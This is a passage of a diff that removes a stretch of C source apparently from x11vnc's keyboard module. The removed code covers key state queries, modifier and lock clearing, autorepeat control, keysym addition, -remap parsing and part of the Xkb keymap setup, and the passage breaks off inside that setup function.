-double typing_rate(double time_window, int *repeating);
-int skip_cr_when_scaling(char *mode);
-void keyboard(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-
-
-static void delete_keycode(KeyCode kc, int bequiet);
-static int count_added_keycodes(void);
-static void add_remap(char *line);
-static void add_dead_keysyms(char *str);
-static void initialize_xkb_modtweak(void);
-static void xkb_tweak_keyboard(rfbBool down, rfbKeySym keysym,
- rfbClientPtr client);
-static void tweak_mod(signed char mod, rfbBool down);
-static void modifier_tweak_keyboard(rfbBool down, rfbKeySym keysym,
- rfbClientPtr client);
-static void pipe_keyboard(rfbBool down, rfbKeySym keysym, rfbClientPtr client);
-
-
-/*
- * Routine to retreive current state keyboard. 1 means down, 0 up.
- */
-void get_keystate(int *keystate) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!keystate) {}
- return;
-#else
- int i, k;
- char keys[32];
-
- RAWFB_RET_VOID
-
- /* n.b. caller decides to X_LOCK or not. */
- XQueryKeymap(dpy, keys);
- for (i=0; i<32; i++) {
- char c = keys[i];
-
- for (k=0; k < 8; k++) {
- if (c & 0x1) {
- keystate[8*i + k] = 1;
- } else {
- keystate[8*i + k] = 0;
- }
- c = c >> 1;
- }
- }
-#endif /* NO_X11 */
-}
-
-/*
- * Try to KeyRelease any non-Lock modifiers that are down.
- */
-void clear_modifiers(int init) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!init) {}
- return;
-#else
- static KeyCode keycodes[256];
- static KeySym keysyms[256];
- static char *keystrs[256];
- static int kcount = 0, first = 1;
- int keystate[256];
- int i, j, minkey, maxkey, syms_per_keycode;
- KeySym *keymap;
- KeySym keysym;
- KeyCode keycode;
-
- RAWFB_RET_VOID
-
- /* n.b. caller decides to X_LOCK or not. */
- if (first) {
- /*
- * we store results in static arrays, to aid interrupted
- * case, but modifiers could have changed during session...
- */
- XDisplayKeycodes(dpy, &minkey, &maxkey);
-
- keymap = XGetKeyboardMapping(dpy, minkey, (maxkey - minkey + 1),
- &syms_per_keycode);
-
- for (i = minkey; i <= maxkey; i++) {
- for (j = 0; j < syms_per_keycode; j++) {
- char *str;
- keysym = keymap[ (i - minkey) * syms_per_keycode + j ];
- if (keysym == NoSymbol || ! ismodkey(keysym)) {
- continue;
- }
- keycode = XKeysymToKeycode(dpy, keysym);
- if (keycode == NoSymbol) {
- continue;
- }
- keycodes[kcount] = keycode;
- keysyms[kcount] = keysym;
- str = XKeysymToString(keysym);
- if (! str) str = "null";
- keystrs[kcount] = strdup(str);
- kcount++;
- }
- }
- XFree_wr((void *) keymap);
- first = 0;
- }
- if (init) {
- return;
- }
-
- get_keystate(keystate);
- for (i=0; i < kcount; i++) {
- keysym = keysyms[i];
- keycode = keycodes[i];
-
- if (! keystate[(int) keycode]) {
- continue;
- }
-
- if (clear_mods) {
- rfbLog("clear_modifiers: up: %-10s (0x%x) "
- "keycode=0x%x\n", keystrs[i], keysym, keycode);
- }
- XTestFakeKeyEvent_wr(dpy, keycode, False, CurrentTime);
- }
- XFlush_wr(dpy);
-#endif /* NO_X11 */
-}
-
-static KeySym simple_mods[] = {
- XK_Shift_L, XK_Shift_R,
- XK_Control_L, XK_Control_R,
- XK_Meta_L, XK_Meta_R,
- XK_Alt_L, XK_Alt_R,
- XK_Super_L, XK_Super_R,
- XK_Hyper_L, XK_Hyper_R,
- XK_Mode_switch,
- NoSymbol
-};
-#define NSIMPLE_MODS 13
-
-int track_mod_state(rfbKeySym keysym, rfbBool down, rfbBool set) {
- KeySym sym = (KeySym) keysym;
- static rfbBool isdown[NSIMPLE_MODS];
- static int first = 1;
- int i, cnt = 0;
-
- /*
- * simple tracking method for the modifier state without
- * contacting the Xserver. Ignores, of course what keys are
- * pressed on the physical display.
- *
- * This is unrelated to our mod_tweak and xkb stuff.
- * Just a simple thing for wireframe/scroll heuristics,
- * sloppy keys etc.
- */
-
- if (first) {
- for (i=0; i<NSIMPLE_MODS; i++) {
- isdown[i] = FALSE;
- }
- first = 0;
- }
-
- if (sym != NoSymbol) {
- for (i=0; i<NSIMPLE_MODS; i++) {
- if (sym == simple_mods[i]) {
- if (set) {
- isdown[i] = down;
- return 1;
- } else {
- if (isdown[i]) {
- return 1;
- } else {
- return 0;
- }
- }
- break;
- }
- }
- /* not a modifier */
- if (set) {
- return 0;
- } else {
- return -1;
- }
- }
-
- /* called with NoSymbol: return number currently pressed: */
- for (i=0; i<NSIMPLE_MODS; i++) {
- if (isdown[i]) {
- cnt++;
- }
- }
- return cnt;
-}
-
-/*
- * Attempt to set all keys to Up position. Can mess up typing at the
- * physical keyboard so use with caution.
- */
-void clear_keys(void) {
- int k, keystate[256];
-
- RAWFB_RET_VOID
-
- /* n.b. caller decides to X_LOCK or not. */
- get_keystate(keystate);
- for (k=0; k<256; k++) {
- if (keystate[k]) {
- KeyCode keycode = (KeyCode) k;
- rfbLog("clear_keys: keycode=%d\n", keycode);
- XTestFakeKeyEvent_wr(dpy, keycode, False, CurrentTime);
- }
- }
- XFlush_wr(dpy);
-}
-
-
-void clear_locks(void) {
-#if NO_X11
- RAWFB_RET_VOID
- return;
-#else
- XModifierKeymap *map;
- int i, j, k = 0;
- unsigned int state = 0;
-
- RAWFB_RET_VOID
-
- /* n.b. caller decides to X_LOCK or not. */
-#if LIBVNCSERVER_HAVE_XKEYBOARD
- if (xkb_present) {
- XkbStateRec kbstate;
- XkbGetState(dpy, XkbUseCoreKbd, &kbstate);
- rfbLog("locked: 0x%x\n", kbstate.locked_mods);
- rfbLog("latched: 0x%x\n", kbstate.latched_mods);
- rfbLog("compat: 0x%x\n", kbstate.compat_state);
- state = kbstate.locked_mods;
- if (! state) {
- state = kbstate.compat_state;
- }
- } else
-#endif
- {
- state = mask_state();
- /* this may contain non-locks too... */
- rfbLog("state: 0x%x\n", state);
- }
- if (! state) {
- return;
- }
- map = XGetModifierMapping(dpy);
- if (! map) {
- return;
- }
- for (i = 0; i < 8; i++) {
- int did = 0;
- for (j = 0; j < map->max_keypermod; j++) {
- if (! did && state & (0x1 << i)) {
- if (map->modifiermap[k]) {
- KeyCode key = map->modifiermap[k];
- KeySym ks = XKeycodeToKeysym(dpy, key, 0);
- char *nm = XKeysymToString(ks);
- rfbLog("toggling: %03d / %03d -- %s\n", key, ks, nm ? nm : "BadKey");
- did = 1;
- XTestFakeKeyEvent_wr(dpy, key, True, CurrentTime);
- usleep(10*1000);
- XTestFakeKeyEvent_wr(dpy, key, False, CurrentTime);
- XFlush_wr(dpy);
- }
- }
- k++;
- }
- }
- XFreeModifiermap(map);
- XFlush_wr(dpy);
- rfbLog("state: 0x%x\n", mask_state());
-#endif
-}
-
-/*
- * Kludge for -norepeat option: we turn off keystroke autorepeat in
- * the X server when clients are connected. This may annoy people at
- * the physical display. We do this because 'key down' and 'key up'
- * user input events may be separated by 100s of ms due to screen fb
- * processing or link latency, thereby inducing the X server to apply
- * autorepeat when it should not. Since the *client* is likely doing
- * keystroke autorepeating as well, it kind of makes sense to shut it
- * off if no one is at the physical display...
- */
-static int save_auto_repeat = -1;
-
-int get_autorepeat_state(void) {
-#if NO_X11
- RAWFB_RET(0)
- return 0;
-#else
- XKeyboardState kstate;
-
- RAWFB_RET(0)
-
- X_LOCK;
- XGetKeyboardControl(dpy, &kstate);
- X_UNLOCK;
- return kstate.global_auto_repeat;
-#endif /* NO_X11 */
-}
-
-int get_initial_autorepeat_state(void) {
- if (save_auto_repeat < 0) {
- save_auto_repeat = get_autorepeat_state();
- }
- return save_auto_repeat;
-}
-
-void autorepeat(int restore, int bequiet) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!restore || !bequiet) {}
- return;
-#else
- int global_auto_repeat;
- XKeyboardControl kctrl;
-
- RAWFB_RET_VOID
-
- if (restore) {
- if (save_auto_repeat < 0) {
- return; /* nothing to restore */
- }
- global_auto_repeat = get_autorepeat_state();
- /* read state and skip restore if equal (e.g. no clients) */
- if (global_auto_repeat == save_auto_repeat) {
- return;
- }
-
- X_LOCK;
- kctrl.auto_repeat_mode = save_auto_repeat;
- XChangeKeyboardControl(dpy, KBAutoRepeatMode, &kctrl);
- XFlush_wr(dpy);
- X_UNLOCK;
-
- if (! bequiet && ! quiet) {
- rfbLog("Restored X server key autorepeat to: %d\n",
- save_auto_repeat);
- }
- } else {
- global_auto_repeat = get_autorepeat_state();
- if (save_auto_repeat < 0) {
- /*
- * we only remember the state at startup
- * to avoid confusing ourselves later on.
- */
- save_auto_repeat = global_auto_repeat;
- }
-
- X_LOCK;
- kctrl.auto_repeat_mode = AutoRepeatModeOff;
- XChangeKeyboardControl(dpy, KBAutoRepeatMode, &kctrl);
- XFlush_wr(dpy);
- X_UNLOCK;
-
- if (! bequiet && ! quiet) {
- rfbLog("Disabled X server key autorepeat.\n");
- if (no_repeat_countdown >= 0) {
- rfbLog(" to force back on run: 'xset r on' (%d "
- "times)\n", no_repeat_countdown+1);
- }
- }
- }
-#endif /* NO_X11 */
-}
-
-/*
- * We periodically delete any keysyms we have added, this is to
- * lessen our effect on the X server state if we are terminated abruptly
- * and cannot clear them and also to clear out any strange little used
- * ones that would just fill up the keymapping.
- */
-void check_add_keysyms(void) {
- static time_t last_check = 0;
- int clear_freq = 300, quiet = 1, count;
- time_t now = time(NULL);
-
- if (unixpw_in_progress) return;
-
- if (now > last_check + clear_freq) {
- count = count_added_keycodes();
- /*
- * only really delete if they have not typed recently
- * and we have added 8 or more.
- */
- if (now > last_keyboard_input + 5 && count >= 8) {
- X_LOCK;
- delete_added_keycodes(quiet);
- X_UNLOCK;
- }
- last_check = now;
- }
-}
-
-static KeySym added_keysyms[0x100];
-
-/* these are just for rfbLog messages: */
-static KeySym alltime_added_keysyms[1024];
-static int alltime_len = 1024;
-static int alltime_num = 0;
-
-int add_keysym(KeySym keysym) {
- static int first = 1;
- int n;
-#if NO_X11
- if (first) {
- for (n=0; n < 0x100; n++) {
- added_keysyms[n] = NoSymbol;
- }
- first = 0;
- }
- RAWFB_RET(0)
- if (!keysym) {}
- return 0;
-#else
- int minkey, maxkey, syms_per_keycode;
- int kc, ret = 0;
- KeySym *keymap;
-
- if (first) {
- for (n=0; n < 0x100; n++) {
- added_keysyms[n] = NoSymbol;
- }
- first = 0;
- }
-
- RAWFB_RET(0)
-
- if (keysym == NoSymbol) {
- return 0;
- }
- /* there can be a race before MappingNotify */
- for (n=0; n < 0x100; n++) {
- if (added_keysyms[n] == keysym) {
- return n;
- }
- }
-
- XDisplayKeycodes(dpy, &minkey, &maxkey);
- keymap = XGetKeyboardMapping(dpy, minkey, (maxkey - minkey + 1),
- &syms_per_keycode);
-
- for (kc = minkey+1; kc <= maxkey; kc++) {
- int i, j, didmsg = 0, is_empty = 1;
- char *str;
- KeySym newks[8];
-
- for (n=0; n < syms_per_keycode; n++) {
- if (keymap[ (kc-minkey) * syms_per_keycode + n]
- != NoSymbol) {
- is_empty = 0;
- break;
- }
- }
- if (! is_empty) {
- continue;
- }
-
- for (i=0; i<8; i++) {
- newks[i] = NoSymbol;
- }
- if (add_keysyms == 2) {
- newks[0] = keysym; /* XXX remove me */
- } else {
- for(i=0; i < syms_per_keycode; i++) {
- newks[i] = keysym;
- if (i >= 7) break;
- }
- }
-
- XChangeKeyboardMapping(dpy, kc, syms_per_keycode,
- newks, 1);
-
- if (alltime_num >= alltime_len) {
- didmsg = 1; /* something weird */
- } else {
- for (j=0; j<alltime_num; j++) {
- if (alltime_added_keysyms[j] == keysym) {
- didmsg = 1;
- break;
- }
- }
- }
- if (! didmsg) {
- str = XKeysymToString(keysym);
- rfbLog("added missing keysym to X display: %03d "
- "0x%x \"%s\"\n", kc, keysym, str ? str : "null");
-
- if (alltime_num < alltime_len) {
- alltime_added_keysyms[alltime_num++] = keysym;
- }
- }
-
- XFlush_wr(dpy);
- added_keysyms[kc] = keysym;
- ret = kc;
- break;
- }
- XFree_wr(keymap);
- return ret;
-#endif /* NO_X11 */
-}
-
-static void delete_keycode(KeyCode kc, int bequiet) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!kc || !bequiet) {}
- return;
-#else
- int minkey, maxkey, syms_per_keycode, i;
- KeySym *keymap;
- KeySym ksym, newks[8];
- char *str;
-
- RAWFB_RET_VOID
-
- XDisplayKeycodes(dpy, &minkey, &maxkey);
- keymap = XGetKeyboardMapping(dpy, minkey, (maxkey - minkey + 1),
- &syms_per_keycode);
-
- for (i=0; i<8; i++) {
- newks[i] = NoSymbol;
- }
-
- XChangeKeyboardMapping(dpy, kc, syms_per_keycode, newks, 1);
-
- if (! bequiet && ! quiet) {
- ksym = XKeycodeToKeysym(dpy, kc, 0);
- str = XKeysymToString(ksym);
- rfbLog("deleted keycode from X display: %03d 0x%x \"%s\"\n",
- kc, ksym, str ? str : "null");
- }
-
- XFree_wr(keymap);
- XFlush_wr(dpy);
-#endif /* NO_X11 */
-}
-
-static int count_added_keycodes(void) {
- int kc, count = 0;
- for (kc = 0; kc < 0x100; kc++) {
- if (added_keysyms[kc] != NoSymbol) {
- count++;
- }
- }
- return count;
-}
-
-void delete_added_keycodes(int bequiet) {
- int kc;
- for (kc = 0; kc < 0x100; kc++) {
- if (added_keysyms[kc] != NoSymbol) {
- delete_keycode(kc, bequiet);
- added_keysyms[kc] = NoSymbol;
- }
- }
-}
-
-/*
- * The following is for an experimental -remap option to allow the user
- * to remap keystrokes. It is currently confusing wrt modifiers...
- */
-typedef struct keyremap {
- KeySym before;
- KeySym after;
- int isbutton;
- struct keyremap *next;
-} keyremap_t;
-
-static keyremap_t *keyremaps = NULL;
-
-static void add_remap(char *line) {
- char str1[256], str2[256];
- KeySym ksym1, ksym2;
- int isbtn = 0;
- unsigned int i;
- static keyremap_t *current = NULL;
- keyremap_t *remap;
-
- if (sscanf(line, "%s %s", str1, str2) != 2) {
- rfbLogEnable(1);
- rfbLog("remap: invalid line: %s\n", line);
- clean_up_exit(1);
- }
- if (sscanf(str1, "0x%x", &i) == 1) {
- ksym1 = (KeySym) i;
- } else {
- ksym1 = XStringToKeysym(str1);
- }
- if (sscanf(str2, "0x%x", &i) == 1) {
- ksym2 = (KeySym) i;
- } else {
- ksym2 = XStringToKeysym(str2);
- }
- if (ksym2 == NoSymbol) {
- if (sscanf(str2, "Button%u", &i) == 1) {
- ksym2 = (KeySym) i;
- isbtn = 1;
- }
- }
- if (ksym1 == NoSymbol || ksym2 == NoSymbol) {
- if (strcasecmp(str2, "NoSymbol") && strcasecmp(str2, "None")) {
- rfbLog("warning: skipping invalid remap line: %s", line);
- return;
- }
- }
- remap = (keyremap_t *) malloc((size_t) sizeof(keyremap_t));
- remap->before = ksym1;
- remap->after = ksym2;
- remap->isbutton = isbtn;
- remap->next = NULL;
-
- rfbLog("remapping: (%s, 0x%x) -> (%s, 0x%x) isbtn=%d\n", str1,
- ksym1, str2, ksym2, isbtn);
-
- if (keyremaps == NULL) {
- keyremaps = remap;
- } else {
- current->next = remap;
- }
- current = remap;
-}
-
-static void add_dead_keysyms(char *str) {
- char *p, *q;
- int i;
- char *list[] = {
- "g grave dead_grave",
- "a acute dead_acute",
- "c asciicircum dead_circumflex",
- "t asciitilde dead_tilde",
- "m macron dead_macron",
- "b breve dead_breve",
- "D abovedot dead_abovedot",
- "d diaeresis dead_diaeresis",
- "o degree dead_abovering",
- "A doubleacute dead_doubleacute",
- "r caron dead_caron",
- "e cedilla dead_cedilla",
-/* "x XXX-ogonek dead_ogonek", */
-/* "x XXX-belowdot dead_belowdot", */
-/* "x XXX-hook dead_hook", */
-/* "x XXX-horn dead_horn", */
- NULL
- };
-
- p = str;
-
- while (*p != '\0') {
- if (isspace((unsigned char) (*p))) {
- *p = '\0';
- }
- p++;
- }
-
- if (!strcmp(str, "DEAD")) {
- for (i = 0; list[i] != NULL; i++) {
- p = list[i] + 2;
- add_remap(p);
- }
- } else if (!strcmp(str, "DEAD=missing")) {
- for (i = 0; list[i] != NULL; i++) {
- KeySym ksym, ksym2;
- int inmap = 0;
-
- p = strdup(list[i] + 2);
- q = strchr(p, ' ');
- if (q == NULL) {
- free(p);
- continue;
- }
- *q = '\0';
- ksym = XStringToKeysym(p);
- *q = ' ';
- if (ksym == NoSymbol) {
- free(p);
- continue;
- }
- if (XKeysymToKeycode(dpy, ksym)) {
- inmap = 1;
- }
-#if LIBVNCSERVER_HAVE_XKEYBOARD
- if (! inmap && xkb_present && dpy) {
- int kc, grp, lvl;
- for (kc = 0; kc < 0x100; kc++) {
- for (grp = 0; grp < 4; grp++) {
- for (lvl = 0; lvl < 8; lvl++) {
- ksym2 = XkbKeycodeToKeysym(dpy,
- kc, grp, lvl);
- if (ksym2 == NoSymbol) {
- continue;
- }
- if (ksym2 == ksym) {
- inmap = 1;
- break;
- }
- }
- }
- }
- }
-#else
- if ((ksym2 = 0)) {}
-#endif
- if (! inmap) {
- add_remap(p);
- }
- free(p);
- }
- } else if ((p = strchr(str, '=')) != NULL) {
- while (*p != '\0') {
- for (i = 0; list[i] != NULL; i++) {
- q = list[i];
- if (*p == *q) {
- q += 2;
- add_remap(q);
- break;
- }
- }
- p++;
- }
- }
-}
-
-/*
- * process the -remap string (file or mapping string)
- */
-void initialize_remap(char *infile) {
- FILE *in;
- char *p, *q, line[256];
-
- if (keyremaps != NULL) {
- /* free last remapping */
- keyremap_t *next_remap, *curr_remap = keyremaps;
- while (curr_remap != NULL) {
- next_remap = curr_remap->next;
- free(curr_remap);
- curr_remap = next_remap;
- }
- keyremaps = NULL;
- }
- if (infile == NULL || *infile == '\0') {
- /* just unset remapping */
- return;
- }
-
- in = fopen(infile, "r");
- if (in == NULL) {
- /* assume cmd line key1-key2,key3-key4 */
- if (strstr(infile, "DEAD") == infile) {
- ;
- } else if (!strchr(infile, '-')) {
- rfbLogEnable(1);
- rfbLog("remap: cannot open: %s\n", infile);
- rfbLogPerror("fopen");
- clean_up_exit(1);
- }
- if ((in = tmpfile()) == NULL) {
- rfbLogEnable(1);
- rfbLog("remap: cannot open tmpfile for %s\n", infile);
- rfbLogPerror("tmpfile");
- clean_up_exit(1);
- }
-
- /* copy in the string to file format */
- p = infile;
- while (*p) {
- if (*p == '-') {
- fprintf(in, " ");
- } else if (*p == ',' || *p == ' ' || *p == '\t') {
- fprintf(in, "\n");
- } else {
- fprintf(in, "%c", *p);
- }
- p++;
- }
- fprintf(in, "\n");
- fflush(in);
- rewind(in);
- }
-
- while (fgets(line, 256, in) != NULL) {
- p = lblanks(line);
- if (*p == '\0') {
- continue;
- }
- if (strchr(line, '#')) {
- continue;
- }
-
- if (strstr(p, "DEAD") == p) {
- add_dead_keysyms(p);
- continue;
- }
- if ((q = strchr(line, '-')) != NULL) {
- /* allow Keysym1-Keysym2 notation */
- *q = ' ';
- }
- add_remap(p);
- }
- fclose(in);
-}
-
-/*
- * preliminary support for using the Xkb (XKEYBOARD) extension for handling
- * user input. inelegant, slow, and incomplete currently... but initial
- * tests show it is useful for some setups.
- */
-typedef struct keychar {
- KeyCode code;
- int group;
- int level;
-} keychar_t;
-
-/* max number of key groups and shift levels we consider */
-#define GRP 4
-#define LVL 8
-static int lvl_max, grp_max, kc_min, kc_max;
-static KeySym xkbkeysyms[0x100][GRP][LVL];
-static unsigned int xkbstate[0x100][GRP][LVL];
-static unsigned int xkbignore[0x100][GRP][LVL];
-static unsigned int xkbmodifiers[0x100][GRP][LVL];
-static int multi_key[0x100], mode_switch[0x100], skipkeycode[0x100];
-static int shift_keys[0x100];
-
-/*
- * for trying to order the keycodes to avoid problems, note the
- * *first* keycode bound to it. kc_vec will be a permutation
- * of 1...256 to get them in the preferred order.
- */
-static int kc_vec[0x100];
-static int kc1_shift, kc1_control, kc1_caplock, kc1_alt;
-static int kc1_meta, kc1_numlock, kc1_super, kc1_hyper;
-static int kc1_mode_switch, kc1_iso_level3_shift, kc1_multi_key;
-
-int sloppy_key_check(int key, rfbBool down, rfbKeySym keysym, int *new_kc) {
- if (!sloppy_keys) {
- return 0;
- }
-
- RAWFB_RET(0)
-#if NO_X11
- if (!key || !down || !keysym || !new_kc) {}
- return 0;
-#else
-
- if (!down && !keycode_state[key] && !IsModifierKey(keysym)) {
- int i, cnt = 0, downkey = -1;
- int nmods_down = track_mod_state(NoSymbol, FALSE, FALSE);
- int mods_down[256];
-
- if (nmods_down) {
- /* tracking to skip down modifier keycodes. */
- for(i=0; i<256; i++) {
- mods_down[i] = 0;
- }
- i = 0;
- while (simple_mods[i] != NoSymbol) {
- KeySym ksym = simple_mods[i];
- KeyCode k = XKeysymToKeycode(dpy, ksym);
- if (k != NoSymbol && keycode_state[(int) k]) {
- mods_down[(int) k] = 1;
- }
-
- i++;
- }
- }
- /*
- * the keycode is already up... look for a single one
- * (non modifier) that is down
- */
- for (i=0; i<256; i++) {
- if (keycode_state[i]) {
- if (nmods_down && mods_down[i]) {
- continue;
- }
- cnt++;
- downkey = i;
- }
- }
- if (cnt == 1) {
- if (debug_keyboard) {
- fprintf(stderr, " sloppy_keys: %d/0x%x "
- "-> %d/0x%x (nmods: %d)\n", (int) key,
- (int) key, downkey, downkey, nmods_down);
- }
- *new_kc = downkey;
- return 1;
- }
- }
- return 0;
-#endif /* NO_X11 */
-}
-
-#if !LIBVNCSERVER_HAVE_XKEYBOARD || SKIP_XKB
-
-/* empty functions for no xkb */
-static void initialize_xkb_modtweak(void) {}
-static void xkb_tweak_keyboard(rfbBool down, rfbKeySym keysym,
- rfbClientPtr client) {
- if (!client || !down || !keysym) {} /* unused vars warning: */
-}
-void switch_to_xkb_if_better(void) {}
-
-#else
-
-void switch_to_xkb_if_better(void) {
- KeySym keysym, *keymap;
- int miss_noxkb[256], miss_xkb[256], missing_noxkb = 0, missing_xkb = 0;
- int i, j, k, n, minkey, maxkey, syms_per_keycode;
- int syms_gt_4 = 0;
- int kc, grp, lvl;
-
- /* non-alphanumeric on us keyboard */
- KeySym must_have[] = {
- XK_exclam,
- XK_at,
- XK_numbersign,
- XK_dollar,
- XK_percent,
-/* XK_asciicircum, */
- XK_ampersand,
- XK_asterisk,
- XK_parenleft,
- XK_parenright,
- XK_underscore,
- XK_plus,
- XK_minus,
- XK_equal,
- XK_bracketleft,
- XK_bracketright,
- XK_braceleft,
- XK_braceright,
- XK_bar,
- XK_backslash,
- XK_semicolon,
-/* XK_apostrophe, */
- XK_colon,
- XK_quotedbl,
- XK_comma,
- XK_period,
- XK_less,
- XK_greater,
- XK_slash,
- XK_question,
-/* XK_asciitilde, */
-/* XK_grave, */
- NoSymbol
- };
-
- if (! use_modifier_tweak || got_noxkb) {
- return;
- }
- if (use_xkb_modtweak) {
- /* already using it */
- return;
- }
- RAWFB_RET_VOID
-
- XDisplayKeycodes(dpy, &minkey, &maxkey);
-
- keymap = XGetKeyboardMapping(dpy, minkey, (maxkey - minkey + 1),
- &syms_per_keycode);
-
- /* handle alphabetic char with only one keysym (no upper + lower) */
- for (i = minkey; i <= maxkey; i++) {
- KeySym lower, upper;
- /* 2nd one */
- keysym = keymap[(i - minkey) * syms_per_keycode + 1];
- if (keysym != NoSymbol) {
- continue;
- }
- /* 1st one */
- keysym = keymap[(i - minkey) * syms_per_keycode + 0];
- if (keysym == NoSymbol) {
- continue;
- }
- XConvertCase(keysym, &lower, &upper);
- if (lower != upper) {
- keymap[(i - minkey) * syms_per_keycode + 0] = lower;
- keymap[(i - minkey) * syms_per_keycode + 1] = upper;
- }
- }
-
- k = 0;
- while (must_have[k] != NoSymbol) {
- int gotit = 0;
- KeySym must = must_have[k];
- for (i = minkey; i <= maxkey; i++) {
- for (j = 0; j < syms_per_keycode; j++) {
- keysym = keymap[(i-minkey) * syms_per_keycode + j];
- if (j >= 4) {
- if (k == 0 && keysym != NoSymbol) {
- /* for k=0 count the high keysyms */
- syms_gt_4++;
- if (debug_keyboard > 1) {
- char *str = XKeysymToString(keysym);
- fprintf(stderr, "- high keysym mapping"
- ": at %3d j=%d "
- "'%s'\n", i, j, str ? str : "null");
- }
- }
- continue;
- }
- if (keysym == must) {
- if (debug_keyboard > 1) {
- char *str = XKeysymToString(must);
- fprintf(stderr, "- at %3d j=%d found "
- "'%s'\n", i, j, str ? str : "null");
- }
- /* n.b. do not break, see syms_gt_4 above. */
- gotit = 1;
- }
- }
- }
- if (! gotit) {
- if (debug_keyboard > 1) {
- char *str = XKeysymToString(must);
- KeyCode kc = XKeysymToKeycode(dpy, must);
- fprintf(stderr, "- did not find 0x%lx '%s'\t"
- "Ks2Kc: %d\n", must, str ? str:"null", kc);
- if (kc != None) {
- int j2;
- for(j2=0; j2<syms_per_keycode; j2++) {
- keysym = keymap[(kc-minkey) *
- syms_per_keycode + j2];
- fprintf(stderr, " %d=0x%lx",
- j2, keysym);
- }
- fprintf(stderr, "\n");
- }
- }
- missing_noxkb++;
- miss_noxkb[k] = 1;
- } else {
- miss_noxkb[k] = 0;
- }
- k++;
- }
- n = k;
-
- XFree_wr(keymap);
- if (missing_noxkb == 0 && syms_per_keycode > 4 && syms_gt_4 >= 0) {
- /* we used to have syms_gt_4 >= 8, now always on. */
- if (! raw_fb_str) {
- rfbLog("\n");
- rfbLog("XKEYBOARD: number of keysyms per keycode %d is greater\n", syms_per_keycode);
- rfbLog(" than 4 and %d keysyms are mapped above 4.\n", syms_gt_4);
- rfbLog(" Automatically switching to -xkb mode.\n");
- rfbLog(" If this makes the key mapping worse you can\n");
- rfbLog(" disable it with the \"-noxkb\" option.\n");
- rfbLog(" Also, remember \"-remap DEAD\" for accenting characters.\n");
- rfbLog("\n");
- }
-
- use_xkb_modtweak = 1;
- return;
-
- } else if (missing_noxkb == 0) {
- if (! raw_fb_str) {
- rfbLog("\n");
- rfbLog("XKEYBOARD: all %d \"must have\" keysyms accounted for.\n", n);
- rfbLog(" Not automatically switching to -xkb mode.\n");
- rfbLog(" If some keys still cannot be typed, try using -xkb.\n");
- rfbLog(" Also, remember \"-remap DEAD\" for accenting characters.\n");
- rfbLog("\n");
- }
- return;
- }
-
- for (k=0; k<n; k++) {
- miss_xkb[k] = 1;
- }
-
- for (kc = 0; kc < 0x100; kc++) {
- for (grp = 0; grp < GRP; grp++) {
- for (lvl = 0; lvl < LVL; lvl++) {
- /* look up the Keysym, if any */
- keysym = XkbKeycodeToKeysym(dpy, kc, grp, lvl);
- if (keysym == NoSymbol) {
- continue;
- }
- for (k=0; k<n; k++) {
- if (keysym == must_have[k]) {
- miss_xkb[k] = 0;
- }
- }
- }
- }
- }
-
- for (k=0; k<n; k++) {
- if (miss_xkb[k]) {
- missing_xkb++;
- }
- }
-
- rfbLog("\n");
- if (missing_xkb < missing_noxkb) {
- rfbLog("XKEYBOARD:\n");
- rfbLog("Switching to -xkb mode to recover these keysyms:\n");
- } else {
- rfbLog("XKEYBOARD: \"must have\" keysyms better accounted"
- " for\n");
- rfbLog("under -noxkb mode: not switching to -xkb mode:\n");
- }
-
- rfbLog(" xkb noxkb Keysym (\"X\" means present)\n");
- rfbLog(" --- ----- -----------------------------\n");
- for (k=0; k<n; k++) {
- char *xx, *xn, *name;
-
- keysym = must_have[k];
- if (keysym == NoSymbol) {
- continue;
- }
- if (!miss_xkb[k] && !miss_noxkb[k]) {
- continue;
- }
- if (miss_xkb[k]) {
- xx = " ";
- } else {
- xx = " X ";
- }
- if (miss_noxkb[k]) {
- xn = " ";
- } else {
- xn = " X ";
- }
- name = XKeysymToString(keysym);
- rfbLog(" %s %s 0x%lx %s\n", xx, xn, keysym,
- name ? name : "null");
- }
- rfbLog("\n");
-
- if (missing_xkb < missing_noxkb) {
- rfbLog(" If this makes the key mapping worse you can\n");
- rfbLog(" disable it with the \"-noxkb\" option.\n");
- rfbLog("\n");
-
- use_xkb_modtweak = 1;
-
- } else {
- rfbLog(" If some keys still cannot be typed, try using"
- " -xkb.\n");
- rfbLog(" Also, remember \"-remap DEAD\" for accenting"
- " characters.\n");
- }
- rfbLog("\n");
-}
-
-/* sets up all the keymapping info via Xkb API */
-
-static void initialize_xkb_modtweak(void) {
- KeySym ks;
- int kc, grp, lvl, k;
- unsigned int state;
-
-/*
- * Here is a guide:
-
-Workarounds arrays:
-
-multi_key[] indicates which keycodes have Multi_key (Compose)
- bound to them.
-mode_switch[] indicates which keycodes have Mode_switch (AltGr)
- bound to them.
-shift_keys[] indicates which keycodes have Shift bound to them.
-skipkeycode[] indicates which keycodes are to be skipped
- for any lookups from -skip_keycodes option.
-
-Groups and Levels, here is an example:
-
- ^ --------
- | L2 | A AE |
- shift | |
- level L1 | a ae |
- --------
- G1 G2
-
- group ->
-
-Traditionally this it all a key could do. L1 vs. L2 selected via Shift
-and G1 vs. G2 selected via Mode_switch. Up to 4 Keysyms could be bound
-to a key. See initialize_modtweak() for an example of using that type
-of keymap from XGetKeyboardMapping().
-
-Xkb gives us up to 4 groups and 63 shift levels per key, with the
-situation being potentially different for each key. This is complicated,
-and I don't claim to understand it all, but in the following we just think
-of ranging over the group and level indices as covering all of the cases.
-This gives us an accurate view of the keymap. The main tricky part
-is mapping between group+level and modifier state.
-
-On current linux/XFree86 setups (Xkb is enabled by default) the
-information from XGetKeyboardMapping() (evidently the compat map)
-is incomplete and inaccurate, so we are really forced to use the
-Xkb API.
-
-xkbkeysyms[] For a (keycode,group,level) holds the KeySym (0 for none)
-xkbstate[] For a (keycode,group,level) holds the corresponding
- modifier state needed to get that KeySym
-xkbignore[] For a (keycode,group,level) which modifiers can be
- ignored (the 0 bits can be ignored).
-xkbmodifiers[] For the KeySym bound to this (keycode,group,level) store
- the modifier mask.
- *
- */
-
- RAWFB_RET_VOID
-
- /* initialize all the arrays: */
- for (kc = 0; kc < 0x100; kc++) {
- multi_key[kc] = 0;
- mode_switch[kc] = 0;
- skipkeycode[kc] = 0;
- shift_keys[kc] = 0;
-
- for (grp = 0; grp < GRP; grp++) {
